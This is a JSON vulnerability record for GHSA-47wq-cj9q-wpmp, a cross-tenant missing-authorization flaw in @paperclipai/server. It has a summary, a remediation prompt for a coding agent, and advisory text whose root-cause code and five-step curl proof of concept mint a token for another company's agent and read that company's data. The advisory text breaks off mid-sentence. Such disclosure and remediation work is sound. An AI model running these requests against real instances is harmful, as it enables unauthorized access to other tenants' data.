{"answers":{"affected":"2 open source packages ship an affected version, including @paperclipai/server.","exploited":"There is no known exploitation of GHSA-47wq-cj9q-wpmp in the wild and no public exploit code.","fix":"Upgrade @paperclipai/server to 2026.416.0 or later.","what":"GHSA-47wq-cj9q-wpmp is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-47wq-cj9q-wpmp and fix it if it is affected.\n\nWhat it is: GHSA-47wq-cj9q-wpmp is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-47wq-cj9q-wpmp in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0\n- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/ (Markdown: https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/index.md)","id":"GHSA-47wq-cj9q-wpmp","markdown":"https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/index.md","name":"GHSA-47wq-cj9q-wpmp","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["privilege_escalation","data_read","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Paperclip agent platform","requires_auth":"low_privilege","summary":"Authenticated users can mint API tokens for agents in other companies due to missing authorization checks, enabling cross-tenant access.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent's `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // \u003c-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) =\u003e rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // \u003c-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent's ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}'\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim's `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"pwnkit\"}' \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim's company metadata, issues, approvals,\n\u003e and agent configuration — none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` → **2","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys","id":"GHSA-47wq-cj9q-wpmp","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/server","purl":null,"source":"GHSA-47wq-cj9q-wpmp"},{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/server","purl":"pkg:npm/%40paperclipai/server","source":"GHSA-47wq-cj9q-wpmp"}],"products":null,"published":"2026-04-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Authenticated users can mint API tokens for agents in other companies due to missing authorization checks, enabling cross-tenant access.","url":"https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/"}